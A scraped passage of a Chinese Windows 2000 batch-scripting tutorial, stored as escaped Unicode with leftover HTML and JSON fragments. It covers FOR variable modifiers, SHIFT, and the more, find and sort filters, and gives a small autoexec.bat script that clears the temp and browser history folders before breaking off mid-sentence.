%~tI \u5c06 %I \u5c55\u5f00\u5230\u6587\u4ef6\u7684\u65e5\u671f\/\u65f6\u95f4
%~zI \u5c06 %I \u5c55\u5f00\u5230\u6587\u4ef6\u5927\u5c0f
%~$PATH:I \u641c\u7d22 PATH \u73af\u5883\u53d8\u91cf\u6240\u5217\u51fa\u7684\u76ee\u5f55,\u5e76\u5c06 %I \u5c55\u5f00\u5f00\u5230\u7b2c\u4e00\u4e2a\u627e\u5230\u7ed3\u679c\u7684\u5168\u90e8\u5408\u683c\u540d\u79f0\u3002\u5982\u679c\u6ca1\u6709\u5b9a\u4e49\u73af\u5883\u53d8\u91cf\u540d\uff0c\u6216\u641c\u7d22\u540e\u6ca1\u6709\u627e\u5230\u6587\u4ef6\uff0c\u5219\u6b64\u4fee\u6539\u7a0b\u5e8f\u5c06\u6269\u5c55\u4e3a\u7a7a\u5b57\u7b26\u4e32\u3002

\u4fee\u6539\u7a0b\u5e8f\u53ef\u4ee5\u5408\u5e76\u4ee5\u83b7\u5f97\u590d\u6742\u7684\u7ed3\u679c\uff1a

\u53d8\u91cf\uff08\u4f7f\u7528\u5408\u5e76\u7684\u4fee\u6539\u7a0b\u5e8f\uff09 \u8bf4\u660e
%~dpI \u53ea\u5c06 %I \u5c55\u5f00\u5230\u9a71\u52a8\u5668\u53f7\u548c\u8def\u5f84
%~nxI \u53ea\u5c06 %I \u5c55\u5f00\u5230\u6587\u4ef6\u540d\u548c\u6269\u5c55\u540d
%~fsI \u5c06 %I \u5c55\u5f00\u5230\u53ea\u5305\u542b\u77ed\u540d\u79f0\u7684\u5b8c\u6574\u8def\u5f84\u540d
%~dp$PATH:I \u5728 PATH \u73af\u5883\u53d8\u91cf\u6240\u5217\u51fa\u7684\u76ee\u5f55\u4e2d\u641c\u7d22 %I\uff0c\u5e76\u5c55\u5f00\u5230\u7b2c\u4e00\u4e2a\u627e\u5230\u7ed3\u679c\u7684\u9a71\u52a8\u5668\u53f7\u548c\u8def\u5f84
%~ftzaI \u5c06 %I \u6269\u5c55\u5230\u4e0e dir \u76f8\u4f3c\u7684\u8f93\u51fa\u884c

\u6ce8\u610f

\u5728\u4e0a\u8ff0\u8303\u4f8b\u4e2d\uff0c%I \u548c PATH \u53ef\u88ab\u5176\u4ed6\u6709\u6548\u503c\u66ff\u6362\u3002\u901a\u8fc7\u6709\u6548\u7684 for \u53d8\u91cf\u540d\u7ec8\u6b62 %~ \u8bed\u6cd5\u3002
\u4f7f\u7528\u5927\u5199\u53d8\u91cf\u540d\uff08\u4f8b\u5982 %I\uff09\u53ef\u4ee5\u4f7f\u4ee3\u7801\u66f4\u5177\u53ef\u8bfb\u6027\uff0c\u5e76\u4e14\u907f\u514d\u4e0e\u4e0d\u533a\u5206\u5927\u5c0f\u5199\u7684\u4fee\u6539\u7a0b\u5e8f\u6df7\u6dc6\u3002
Shift
\u66f4\u6539\u6279\u5904\u7406\u6587\u4ef6\u4e2d\u53ef\u66ff\u6362\u53c2\u6570\u7684\u4f4d\u7f6e\u3002

shift

\u542f\u7528\u547d\u4ee4\u6269\u5c55\uff08Windows 2000 \u4e2d\u7684\u9ed8\u8ba4\u8bbe\u7f6e\uff09\u540e\uff0cshift \u547d\u4ee4\u652f\u6301 \/n \u5f00\u5173\uff0c\u8be5\u5f00\u5173\u901a\u77e5\u547d\u4ee4\u5728\u7b2c n \u4e2a\u53c2\u6570\u5904\u5f00\u59cb\u66f4\u6539\uff0cn \u53ef\u4ee5\u662f\u4ece 0 \u5230 8 \u7684\u4efb\u4f55\u4e00\u4e2a\u503c\u3002\u4f8b\u5982\uff0c

SHIFT \/2

\u5c06 %3 \u6539\u4e3a %2\uff0c\u5c06 %4 \u6539\u4e3a %3 \u7b49\u7b49\uff0c\u800c %0 \u548c %1 \u4fdd\u6301\u4e0d\u53d8\u3002

\u7b5b\u9009\u5668\u547d\u4ee4
\u7b5b\u9009\u5668\u547d\u4ee4\u53ef\u4ee5\u5e2e\u52a9\u60a8\u6392\u5e8f\u3001\u67e5\u770b\u548c\u9009\u62e9\u90e8\u5206\u547d\u4ee4\u8f93\u51fa\u7ed3\u679c\u3002

\u901a\u8fc7\u7b5b\u9009\u5668\u547d\u4ee4\u4f20\u9012\u4fe1\u606f

\u7b5b\u9009\u5668\u547d\u4ee4\u53ef\u4ee5\u5212\u5206\u3001\u91cd\u6392\u4ee5\u53ca\u63d0\u53d6\u901a\u8fc7\u7684\u90e8\u5206\u4fe1\u606f\u597d\u554a\u4f5c\u3002Windows 2000 \u6709\u4e09\u4e2a\u7b5b\u9009\u5668\u547d\u4ee4\uff1a


more \u547d\u4ee4\u6bcf\u6b21\u663e\u793a\u4e00\u5c4f\u6587\u4ef6\u5185\u5bb9\u6216\u547d\u4ee4\u8f93\u51fa\u3002
find \u547d\u4ee4\u5728\u6587\u4ef6\u548c\u547d\u4ee4\u8f93\u51fa\u4e2d\u641c\u7d22\u6307\u5b9a\u5b57\u7b26\u3002
sort \u547d\u4ee4\u6309\u5b57\u6bcd\u987a\u5e8f\u6392\u5217\u6587\u4ef6\u548c\u547d\u4ee4\u8f93\u51fa\u3002

\u8981\u5c06\u8f93\u5165\u4ece\u6587\u4ef6\u53d1\u9001\u5230\u7b5b\u9009\u5668\u547d\u4ee4\uff0c\u8bf7\u4f7f\u7528\u5c0f\u4e8e\u7b26\u53f7 (<)\u3002\u5982\u679c\u8981\u7b5b\u9009\u5668\u547d\u4ee4\u4ece\u5176\u4ed6\u547d\u4ee4\u83b7\u5f97\u8f93\u5165\uff0c\u8bf7\u4f7f\u7528\u7ba1\u9053 (|)\u3002

\u4f7f\u7528 more \u547d\u4ee4\u6765\u63a7\u5236\u5c4f\u5e55\u663e\u793a

more \u547d\u4ee4\u6bcf\u6b21\u4e00\u5c4f\u5730\u663e\u793a\u6587\u4ef6\u7684\u5185\u5bb9\u6216\u547d\u4ee4\u8f93\u51fa\u3002\u4f8b\u5982\uff0c\u4e0b\u9762\u7684 more \u547d\u4ee4\u6bcf\u6b21\u663e\u793a\u4e00\u5c4f List.txt \u6587\u4ef6\u7684\u5185\u5bb9\uff1a

more < list.txt

\u4fe1\u606f\u663e\u793a\u4e00\u5c4f\u540e\uff0c\u4f1a\u51fa\u73b0\u5b57\u201cMore\u201d\u3002\u8981\u7ee7\u7eed\u663e\u793a\u4e0b\u4e00\u5c4f\uff0c\u8bf7\u6309\u952e\u76d8\u4e0a\u4efb\u610f\u952e\u3002\u8981\u505c\u6b62\u547d\u4ee4\u4e14\u4e0d\u67e5\u770b\u8be6\u7ec6\u4fe1\u606f\uff0c\u8bf7\u6309CTRL+C \u952e\u3002

\u5982\u679c\u4f7f\u7528\u4ea7\u751f\u591a\u5c4f\u8f93\u51fa\u7684\u547d\u4ee4\uff0cmore \u5c06\u5341\u5206\u6709\u7528\u3002\u4f8b\u5982\uff0c\u5047\u8bbe\u5b9a\u8981\u67e5\u770b\u786c\u76d8\u7684\u76ee\u5f55\u6811\u3002\u5982\u679c Windows 2000 \u4e0d\u80fd\u5c06\u76ee\u5f55\u5728\u4e00\u5c4f\u5185\u5168\u90e8\u663e\u793a\u51fa\u6765\uff0c\u8bf7\u4f7f\u7528\u5e26\u7ba1\u9053\u53f7 (|) \u548c more \u547d\u4ee4\u7684 tree \u547d\u4ee4\uff0c\u5982\u4e0b\u4f8b\u6240\u793a\uff1a

tree c:\\ | more

tree \u547d\u4ee4\u7684\u7b2c\u4e00\u5c4f\u8f93\u51fa\u88ab\u663e\u793a\uff0c\u540e\u8ddf\u8bcd\u201cMore\u201d\u3002Windows 2000 \u6682\u505c\uff0c\u76f4\u5230\u7528\u6237\u6309\u952e\u76d8\u4e0a\u7684\u4efb\u610f\u952e\u4e3a\u6b62\uff08PAUSE \u952e\u9664\u5916\uff09\u3002

\u4f7f\u7528 find \u547d\u4ee4\u641c\u7d22\u6587\u672c

find \u547d\u4ee4\u5728\u4e00\u4e2a\u6216\u591a\u4e2a\u6587\u4ef6\u4e2d\u641c\u7d22\u6307\u5b9a\u6587\u672c\u3002Windows 2000 \u663e\u793a\u6bcf\u4e2a\u5305\u542b\u8be5\u6587\u672c\u7684\u884c\u3002find \u547d\u4ee4\u53ef\u4ee5\u7528\u4f5c\u7b5b\u9009\u5668\u547d\u4ee4\u6216\u8005\u6807\u51c6\u7684 Windows 2000 \u547d\u4ee4\u3002\u6709\u5173\u5c06 find \u7528\u4f5c\u6807\u51c6\u7684 Windows 2000 \u547d\u4ee4\u7684\u4fe1\u606f\uff0c\u8bf7\u5355\u51fb\u201c\u76f8\u5173\u4e3b\u9898\u201d\u5217\u8868\u4e2d\u7684
find\u3002

\u8981\u5c06 find \u5f53\u4f5c\u7b5b\u9009\u5668\u547d\u4ee4\u4f7f\u7528\uff0c\u8bf7\u5305\u542b\u5c0f\u4e8e\u7b26\u53f7 (<) \u548c\u641c\u7d22\u7684\u6587\u4ef6\u540d\u3002\u5f53\u8f93\u5165\u6587\u4ef6\u540d\u65f6\uff0c\u8bf7\u8bb0\u4f4f\u641c\u7d22\u8981\u533a\u5206\u5927\u5c0f\u5199\u3002
\u4f8b\u5982\uff0c\u4e0b\u9762\u7684\u547d\u4ee4\u67e5\u627e\u6587\u4ef6 Trade.txt \u4e2d\u6240\u6709\u7684\u201cPacific Rim\u201d\u5b57\u7b26\u4e32\uff1a

find \"Pacific Rim\" < trade.txt

\u8981\u4fdd\u5b58 find \u547d\u4ee4\u7684\u8f93\u51fa\u800c\u4e0d\u662f\u663e\u793a\u8f93\u51fa\uff0c\u8bf7\u4f7f\u7528\u5927\u4e8e\u53f7 (>) \u548c\u8981\u5b58\u50a8\u8f93\u51fa\u7684\u6587\u4ef6\u540d\u3002\u4f8b\u5982\uff0c\u4e0b\u9762\u7684\u547d\u4ee4\u67e5\u627e\u6587\u4ef6
Trade.txt \u4e2d\u6240\u6709\u7684\u201cPacific Rim\u201d\u5b57\u7b26\u4e32\uff0c\u5e76\u5c06\u7ed3\u679c\u4fdd\u5b58\u5728 Nwtrade.txt \u6587\u4ef6\u4e2d\uff1a

find \"Pacific Rim\" < trade.txt > nwtrade.txt

\u5bf9\u6587\u672c\u6587\u4ef6\u6392\u5e8f

sort \u547d\u4ee4\u6309\u5b57\u6bcd\u987a\u5e8f\u6392\u5217\u6587\u672c\u6587\u4ef6\u6216\u547d\u4ee4\u7684\u8f93\u51fa\u3002\u4f8b\u5982\uff0c\u53ef\u4ee5\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u5bf9 List.txt \u6587\u4ef6\u7684\u5185\u5bb9\u8fdb\u884c\u6392\u5e8f\uff0c\u5e76\u5728\u5c4f\u5e55\u4e0a\u663e\u793a\u7ed3\u679c\uff1a

sort < list.txt

\u5728\u6b64\u8303\u4f8b\u4e2d\uff0csort \u547d\u4ee4\u5bf9 List.txt \u6587\u4ef6\u7684\u884c\u8fdb\u884c\u6392\u5e8f\u5e76\u663e\u793a\u7ed3\u679c\uff0c\u4f46\u4e0d\u66f4\u6539\u6587\u4ef6\u3002\u8981\u4fdd\u5b58 sort \u547d\u4ee4\u7684\u8f93\u51fa\u800c\u4e0d\u662f\u663e\u793a\u8f93\u51fa\uff0c\u8bf7\u5728\u547d\u4ee4\u4e2d\u5305\u542b\u5927\u4e8e\u53f7 (>) \u548c\u6587\u4ef6\u540d\u3002\u4f8b\u5982\uff0c\u53ef\u4ee5\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u5bf9 List.txt \u6587\u4ef6\u7684\u884c\u6309\u5b57\u6bcd\u987a\u5e8f\u6392\u5e8f\uff0c\u5e76\u5c06\u7ed3\u679c\u5b58\u5230 Alphlist.txt \u6587\u4ef6\u4e2d\uff1a

sort < list.txt > alphlist.txt

\u8981\u6392\u5e8f\u547d\u4ee4\u7684\u8f93\u51fa\uff0c\u8bf7\u952e\u5165\u540e\u9762\u5e26\u6709\u7ba1\u9053 (|) \u548c sort \u547d\u4ee4\u7684\u547d\u4ee4\u3002\u4f8b\u5982\uff0c\u4e0b\u9762\u7684\u547d\u4ee4\u5bf9 find \u547d\u4ee4\u7684\u8f93\u51fa\u7ed3\u679c\u8fdb\u884c\u6392\u5e8f\uff1a

find \"Jones\" maillst.txt | sort

\u5728\u952e\u5165\u8be5\u547d\u4ee4\u65f6\uff0cWindows 2000 \u6309\u5b57\u6bcd\u987a\u5e8f\u5217\u51fa\u5728\u5176\u4e2d\u51fa\u73b0\u201cJones\u201d\u7684\u884c\u3002

\u5e26\u91cd\u5b9a\u5411\u7b26\u7684\u5408\u5e76\u547d\u4ee4

\u53ef\u4ee5\u5c06\u7b5b\u9009\u5668\u547d\u4ee4\u3001\u5176\u4ed6\u547d\u4ee4\u548c\u6587\u4ef6\u540d\u5408\u5e76\u4ee5\u751f\u6210\u81ea\u5b9a\u4e49\u547d\u4ee4\u3002\u4f8b\u5982\uff0c\u53ef\u4ee5\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u5b58\u50a8\u5305\u542b\u201cLOG\u201d\u5b57\u7b26\u4e32\u7684\u6587\u4ef6\u540d:

dir \/b | find \"LOG\" > loglist.txt

Windows 2000 \u901a\u8fc7 find \u8fc7\u6ee4\u5668\u547d\u4ee4\u53d1\u9001 dir \u547d\u4ee4\u7684\u8f93\u51fa\u5e76\u5c06\u5305\u542b\u5b57\u7b26\u4e32\u201cLog\u201d\u7684\u6587\u4ef6\u540d\u5b58\u50a8\u5728 Loglist.txt \u6587\u4ef6\u4e2d\u3002\u5c06\u7ed3\u679c\u5b58\u50a8\u4e3a\u6587\u4ef6\u540d\u5217\u8868\uff08\u5982\uff0cA.log\u3001Logdat.svd \u548c Mylog.bat\uff09\u3002

\u8981\u5728\u76f8\u540c\u547d\u4ee4\u4e2d\u4f7f\u7528\u591a\u4e2a\u7b5b\u9009\u5668\uff0c\u8bf7\u4f7f\u7528\u7ba1\u9053 (|) \u5206\u9694\u7b5b\u9009\u5668\u3002\u4f8b\u5982\uff0c\u4e0b\u9762\u7684\u547d\u4ee4\u641c\u7d22 C \u76d8\u4e0a\u7684\u6bcf\u4e2a\u76ee\u5f55\u4ee5\u67e5\u627e\u5305\u542b\u201cLog\u201d\u5b57\u7b26\u4e32\u7684\u6587\u4ef6\u540d\uff0c\u5e76\u4e14\u6bcf\u6b21\u663e\u793a\u4e00\u5c4f\uff1a

dir c:\\ \/s \/b | find \"LOG\" | more

\u56e0\u4e3a\u4f7f\u7528\u7ba1\u9053 (|)\uff0cWindows 2000 \u901a\u8fc7 find \u547d\u4ee4\u53d1\u9001 dir \u547d\u4ee4\u7684\u8f93\u51fa\u7ed3\u679c\u3002find \u547d\u4ee4\u53ea\u9009\u62e9\u5305\u542b\u5b57\u7b26\u4e32\u201cLog\u201d\u7684\u6587\u4ef6\u540d\u3002more \u547d\u4ee4\u6bcf\u6b21\u4e00\u5c4f\u5730\u663e\u793a find \u547d\u4ee4\u9009\u62e9\u7684\u6587\u4ef6\u540d\u3002
More
\u6bcf\u6b21\u663e\u793a\u4e00\u4e2a\u8f93\u51fa\u5c4f\u5e55\u3002\u8be5\u547d\u4ee4\u901a\u5e38\u7528\u4e8e\u67e5\u770b\u957f\u6587\u4ef6\u3002\u53ef\u4ee5\u5355\u72ec\u4f7f\u7528\u6b64\u547d\u4ee4\uff0c\u6216\u8005\u4f7f\u7528\u5b83\u63a7\u5236\u5176\u4ed6\u547d\u4ee4\u7684\u8f93\u51fa\uff0c\u4f8b\u5982
type \u547d\u4ee4\u3002\u5f53\u663e\u793a\u586b\u5145\u53ef\u7528\u7684\u67e5\u770b\u533a\u57df\u65f6\u5c06\u51fa\u73b0 more \u63d0\u793a\uff0c\u7528\u6237\u53ef\u4ee5\u8f93\u5165\u8bb8\u591a\u547d\u4ee4\u6765\u63a7\u5236\u67e5\u770b\u6587\u4ef6\u5176\u4f59\u90e8\u5206\u7684\u65b9\u5f0f\u3002

command name | more [\/c] [\/p] [\/s] [\/tn] [+n]

more [[\/c] [\/p] [\/s] [\/tn] [+n]] < [drive:][path] filename

more [\/c] [\/p] [\/s] [\/tn] [+n] [files]

\u53c2\u6570

[drive:][path] filename

\u6307\u5b9a\u8981\u663e\u793a\u7684\u6587\u4ef6\u3002

command name

\u6307\u5b9a\u5c06\u663e\u793a\u5176\u8f93\u51fa\u7684\u547d\u4ee4\u3002

\/c

\u663e\u793a\u9875\u9762\u524d\u6e05\u9664\u5c4f\u5e55\u3002

\/p

\u6269\u5c55\u6362\u9875\u7b26\u3002

\/s

\u5c06\u591a\u4e2a\u7a7a\u767d\u884c\u66f4\u6539\u4e3a\u4e00\u4e2a\u7a7a\u767d\u884c\u3002

\/tn

\u5c06\u5236\u8868\u4f4d\u66f4\u6539\u4e3a n \u4e2a\u7a7a\u683c

+n

\u663e\u793a\u7531 n \u6307\u5b9a\u7684\u884c\u5f00\u59cb\u7684\u7b2c\u4e00\u4e2a\u6587\u4ef6\u3002

files

\u6307\u5b9a\u8981\u663e\u793a\u7684\u6587\u4ef6\u5217\u8868\u3002\u7528\u7a7a\u683c\u5206\u9694\u6587\u4ef6\u540d\u3002

More \u5b50\u547d\u4ee4

\u4ee5\u4e0b\u547d\u4ee4\u5728 more \u63d0\u793a (-- More --) \u4e0b\u63a5\u53d7\u3002

\u5173\u952e\u5b57 \u597d\u554a\u4f5c
space \u663e\u793a\u4e0b\u4e00\u9875\u3002
ENTER \u663e\u793a\u4e0b\u4e00\u884c\u3002
F \u663e\u793a\u4e0b\u4e00\u4e2a\u6587\u4ef6\u3002
q \u9000\u51fa\u3002
? \u663e\u793a\u53ef\u7528\u547d\u4ee4\u3002
= \u663e\u793a\u884c\u53f7\u3002
P n \u663e\u793a\u4ee5\u4e0b n \u884c\u3002
S n \u8df3\u8fc7\u4e0b\u9762 n \u884c\u3002
Find
\u5728\u4e00\u4e2a\u6587\u4ef6\u6216\u591a\u4e2a\u6587\u4ef6\u4e2d\u641c\u7d22\u6307\u5b9a\u7684\u6587\u672c\u5b57\u7b26\u4e32\u3002

\u5f53\u641c\u7d22\u5230\u6307\u5b9a\u7684\u6587\u4ef6\u540e\uff0cfind \u5c06\u663e\u793a\u51fa\u5305\u542b\u6307\u5b9a\u5b57\u7b26\u4e32\u7684\u6240\u6709\u884c\u3002

find [\/v] [\/c] [\/n] \"string\" [[drive:][path]filename[...]]

\u53c2\u6570

\/v

\u663e\u793a\u672a\u5305\u542b\u6307\u5b9a\u5b57\u7b26\u4e32\u7684\u6240\u6709\u884c\u3002

\/c

\u53ea\u663e\u793a\u5305\u542b\u6307\u5b9a\u5b57\u7b26\u4e32\u7684\u884c\u6570\u3002

\/n

\u5c06\u6587\u4ef6\u884c\u53f7\u7f6e\u4e8e\u6bcf\u884c\u5f00\u5934\u3002

\/I

\u6307\u5b9a\u641c\u7d22\u4e0d\u533a\u5206\u5927\u5c0f\u5199\u3002

\"string\"

\u6307\u5b9a\u8981\u641c\u7d22\u7684\u5b57\u7b26\u7ec4\u3002\u5fc5\u987b\u5c06 string \u7684\u6587\u672c\u5305\u62ec\u5728\u5f15\u53f7\u4e2d\u3002

[drive:][path] filename

\u6307\u5b9a\u8981\u5728\u5176\u4e2d\u641c\u7d22\u6307\u5b9a\u5b57\u7b26\u4e32\u7684\u6587\u4ef6\u7684\u4f4d\u7f6e\u548c\u540d\u79f0\u3002
Sort
\u8bfb\u53d6\u8f93\u5165\u3001\u6392\u5e8f\u6570\u636e\u5e76\u5c06\u7ed3\u679c\u5199\u5230\u5c4f\u5e55\u3001\u6587\u4ef6\u548c\u5176\u4ed6\u8bbe\u5907\u4e0a\u3002

sort [\/r] [\/+n] [\/m kilobytes] [\/l locale] [\/rec characters] [[drive1:][path1]filename1] [\/t [drive2:]
[path2]] [\/o [drive3:][path3]filename3]

[command |] sort [\/r] [\/+n] [\/m kilobytes] [\/l locale] [\/rec characters] [[drive1:][path1]filename1] [\/t
[drive2:][path2]] [\/o [drive3:][path3]filename3]

\u53c2\u6570

\/r

\u98a0\u5012\u6392\u5e8f\u987a\u5e8f\uff0c\u5373\u4ece Z \u5230 A \u6392\u5e8f\uff0c\u7136\u540e\u4ece 9 \u5230 0 \u6392\u5e8f\u3002

\/+n

\u6307\u5b9a\u5b57\u7b26\u4f4d\u7f6e\u53f7 n\uff0csort \u5728\u6b64\u5904\u5f00\u59cb\u6bcf\u6b21\u6bd4\u8f83\u3002\u4f8b\u5982\uff0c\/+3 \u8868\u793a\u6bcf\u6b21\u6bd4\u8f83\u5728\u6bcf\u884c\u7684\u7b2c\u4e09\u4e2a\u5b57\u7b26\u5f00\u59cb\u3002\u5c11\u4e8e n \u4e2a\u5b57\u7b26\u7684\u884c\u5728\u5176\u4ed6\u884c\u4e4b\u524d\u6392\u5e8f\u3002\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u6bd4\u8f83\u5728\u6bcf\u884c\u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26\u5f00\u59cb\u3002

\/m kilobytes

\u6307\u5b9a\u7528\u4e8e\u6392\u5e8f\u7684\u4e3b\u5185\u5b58\u6570\u91cf\uff0c\u6309\u5343\u5b57\u8282 (KB) \u8ba1\u3002\u4f7f\u7528\u7684\u5185\u5b58\u6700\u5c0f\u503c\u603b\u662f 160 KB\u3002\u5982\u679c\u6307\u5b9a\u4e86\u5185\u5b58\u5927\u5c0f\uff0c\u5219\u65e0\u8bba\u6709\u591a\u5c11\u4e3b\u5185\u5b58\u53ef\u7528\uff0c\u6307\u5b9a\u7684\u786e\u5207\u6570\u91cf\uff08\u4f46\u81f3\u5c11 160 KB\uff09\u7684\u5185\u5b58\u5c06\u7528\u4e8e\u6392\u5e8f\u3002

\u5982\u679c\u8f93\u5165\u8f93\u51fa\u5747\u4e3a\u6587\u4ef6\uff0c\u5728\u6ca1\u6709\u6307\u5b9a\u5927\u5c0f\u65f6\uff0c\u9ed8\u8ba4\u6700\u5927\u5185\u5b58\u5927\u5c0f\u4e3a\u53ef\u7528\u4e3b\u5185\u5b58\u7684 90\uff05\uff0c\u5426\u5219\u4e3a\u4e3b\u5185\u5b58\u7684 45\uff05\u3002\u9ed8\u8ba4\u8bbe\u7f6e\u901a\u5e38\u4f1a\u4ea7\u751f\u6700\u4f73\u7684\u6027\u80fd\u3002

\/l locale

\u66ff\u4ee3\u7531\u7cfb\u7edf\u9ed8\u8ba4\u533a\u57df\u8bbe\u7f6e\u5b9a\u4e49\u7684\u5b57\u7b26\u6392\u5e8f\u987a\u5e8f\uff1b\u5373\u5728\u5b89\u88c5 Windows 2000 \u65f6\u9009\u62e9\u7684\u8bed\u8a00\u548c\u201c\u56fd\u5bb6\uff08\u5730\u533a\uff09\u201d\u3002\u76ee\u524d\uff0c\u9ed8\u8ba4\u533a\u57df\u8bbe\u7f6e\u552f\u4e00\u7684\u5907\u7528\u9009\u9879\u5c31\u662f\u201cC\u201d\u533a\u57df\u8bbe\u7f6e\uff0c\u8be5\u533a\u57df\u8bbe\u7f6e\u6bd4\u81ea\u7136\u8bed\u8a00\u6392\u5e8f\u5feb\uff0c\u6839\u636e\u4e8c\u8fdb\u5236\u7f16\u7801\u5bf9\u5b57\u7b26\u6392\u5e8f\u3002

\/rec characters

\u6307\u5b9a\u8bb0\u5f55\u6216\u8f93\u5165\u6587\u4ef6\u7684\u884c\u4e2d\u7684\u6700\u591a\u5b57\u7b26\u6570\uff08\u9ed8\u8ba4\u503c\u4e3a 4096\uff0c\u6700\u5927\u503c\u4e3a 65535\uff09\u3002

[drive1:][path1]filename1

\u6307\u5b9a\u8981\u6392\u5e8f\u7684\u6587\u4ef6\u3002\u5982\u679c\u6ca1\u6709\u6307\u5b9a\u6587\u4ef6\u540d\uff0c\u5219\u5bf9\u6807\u51c6\u8f93\u5165\u6392\u5e8f\u3002\u6307\u5b9a\u8f93\u5165\u6587\u4ef6\u6bd4\u5c06\u540c\u4e00\u6587\u4ef6\u4f5c\u4e3a\u6807\u51c6\u8f93\u5165\u91cd\u5b9a\u5411\u901f\u5ea6\u5feb\u3002

\/t [drive2:][path2]

\u6307\u5b9a\u4fdd\u7559 sort \u547d\u4ee4\u5de5\u4f5c\u5b58\u50a8\u7684\u76ee\u5f55\u8def\u5f84\uff0c\u9632\u6b62\u6570\u636e\u4e0d\u80fd\u88c5\u5165\u4e3b\u5185\u5b58\u3002\u9ed8\u8ba4\u4e3a\u4f7f\u7528\u7cfb\u7edf\u4e34\u65f6\u76ee\u5f55\u3002

\/o [drive3:][path3]filename3

\u6307\u5b9a\u8981\u5b58\u50a8\u6392\u5e8f\u540e\u7684\u8f93\u5165\u7684\u6587\u4ef6\u3002\u5982\u679c\u6ca1\u6709\u6307\u5b9a\uff0c\u6570\u636e\u5c06\u5199\u5165\u6807\u51c6\u8f93\u51fa\u3002\u6307\u5b9a\u8f93\u51fa\u6587\u4ef6\u6bd4\u5c06\u540c\u4e00\u6587\u4ef6\u4f5c\u4e3a\u6807\u51c6\u8f93\u51fa\u91cd\u5b9a\u5411\u901f\u5ea6\u5feb! \r\n
\n\u4e0a\u4e00\u9875<\/a>1<\/a>2<\/a>3<\/a>4<\/a>5<\/strong>\u9605\u8bfb\u5168\u6587<\/a>\n<\/div>","2":"
\u4f8b\u56db\uff0c\u501f\u6279\u5904\u7406\u81ea\u52a8\u6e05\u9664\u7cfb\u7edf\u5783\u573e\uff0c\u811a\u672c\u5982\u4e0b\uff1a
\n\u590d\u5236\u4ee3\u7801<\/u><\/a><\/span> \u4ee3\u7801\u5982\u4e0b:<\/div>\n

@echo off
if exist c:\\windows\\temp\\*.* del c:\\windows\\temp\\*.*
if exist c:\\windows\\Tempor~1\\*.* del c:\\windows\\Tempor~1\\*.*
if exist c:\\windows\\History\\*.* del c:\\windows\\History\\*.*
if exist c:\\windows\\recent\\*.* del c:\\windows\\recent\\*.*
\n<\/div>

\u5c06\u4ee5\u4e0a\u811a\u672c\u5185\u5bb9\u4fdd\u5b58\u5230autoexec.bat\u91cc\uff0c\u6bcf\u6b21\u5f00\u673a\u65f6\u5c31\u628a\u7cfb\u7edf\u5783\u573e\u7ed9\u81ea\u52a8\u5220\u9664\u4e86\u3002\u8fd9\u91cc\u9700\u8981\u6ce8\u610f\u4e24\u70b9\uff1a\u4e00\u3001DOS\u4e0d\u652f\u6301\u957f\u6587\u4ef6\u540d\uff0c\u6240\u4ee5\u5c31\u51fa\u73b0\u4e86Tempor~1\u8fd9\u4e2a\u4e1c\u4e1c\uff1b\u4e8c\u3001\u53ef\u6839\u636e\u81ea\u5df1\u7684\u5b9e\u9645\u60c5\u51b5\u8fdb\u884c\u6539\u52a8\uff0c\u4f7f\u5176\u7b26\u5408\u81ea\u5df1\u7684\u8981\u6c42\u3002

\u600e\u4e48\u6837\uff0c\u770b\u5230\u8fd9\u91cc\uff0c\u4f60\u5bf9\u6279\u5904\u7406\u811a\u672c\u662f\u4e0d\u662f\u5df2\u7ecf\u6709\u70b9\u5174\u8da3\u4e86\uff1f\u662f\u4e0d\u662f\u53d1\u73b0\u81ea\u5df1\u5df2\u7ecf\u6162\u6162\u7231\u4e0a\u4e86\u8fd9\u4e2a\u4e1c\u4e1c\uff1f\u522b\u9ad8\u5174\u7684\u592a\u65e9\uff0c\u7231\u4e0d\u662f\u4e00\u4ef6\u7b80\u5355\u7684\u4e8b\uff0c\u5b83\u4e5f\u8bb8\u80fd\u5e26\u7ed9\u4f60\u5feb\u4e50\u548c\u5e78\u798f\uff0c\u5f53\u7136\u4e5f\u80fd\u8ba9\u4f60\u75db\u82e6\u7684\u60f3\u53bb\u8df3\u697c\u3002\u5982\u679c\u4f60\u77e5\u9053\u5f88\u96be\u8fd8\u6562\u7ee7\u7eed\u7684\u8bdd\uff0cI \u670d \u4e86 YOU\uff01\u7ee7\u7eed\u52aa\u529b\u5427\uff0c\u4e5f\u8bb8\u5230\u6700\u540e\u4f60\u4e0d\u4e00\u5b9a\u5f97\u5230\u771f\u7231\uff08\u771f\u7684\u6709\u8fd9\u53ef\u80fd\uff0c\u7231\u8fc7\u7684\u4eba\u90fd\u77e5\u9053\uff09\uff0c\u4f46\u4f60\u53ef\u4ee5\u4f53\u4f1a\u5230\u6574\u4e2a\u7231\u7684\u8fc7\u7a0b\uff0c\u5c31\u662f\u5982\u6b64\u3002 \u9178\u3001\u82e6\u548c\u8fa3\uff0c\u6709\u6ca1\u6709\u751c\u5929\u77e5\u9053\u3002

\u4e3a\u4ec0\u4e48\u4f1a\u628a\u6279\u5904\u7406\u548c\u7231\u60c5\u626f\u4e0a\u5173\u7cfb\uff1f\u4e0d\u662f\u6211\u65e0\u804a\uff0c\u4e5f\u4e0d\u662f\u56e0\u4e3a\u8fd9\u6837\u5199\u6709\u8da3\u591a\u5c11\uff0c\u539f\u56e0\u6709\u4e8c\uff1a\u5176\u4e00\uff0c\u6279\u5904\u7406\u548c\u7231\u60c5\u6709\u5f88\u591a\u76f8\u540c\u7684\u5730\u65b9\uff0c\u6709\u4e9b\u5730\u65b9\u6211\u7528\u201c\u4e13\u4e1a\u201d\u7684\u884c\u8bdd\u89e3\u91ca\u4e0d\u6e05\uff08\u6211\u4e0d\u6000\u7591\u81ea\u5df1\u7684\u8868\u8fbe\u80fd\u529b\uff0c\u800c\u662f\u4e8b\u60c5\u672c\u8eab\u5c31\u4e0d\u597d\u8bf4\u6e05\u695a\uff09\uff0c\u8bf4\u4e86=\u6ca1\u8bf4\uff0c\u4f46\u7528\u5730\u7403\u4eba\u90fd\u77e5\u9053\u7684\u7231\u60c5\u4e00\u6bd4\u55bb\uff08\u7231\u60c5\u662f\u4ec0\u4e48\uff1f\u6211**\u600e\u4e48\u77e5\u9053\uff01\uff01\uff09\uff0c\u6ca1\u51c6\u4f60\u5fc3\u91cc\u4e00\u4e0b\u5c31\u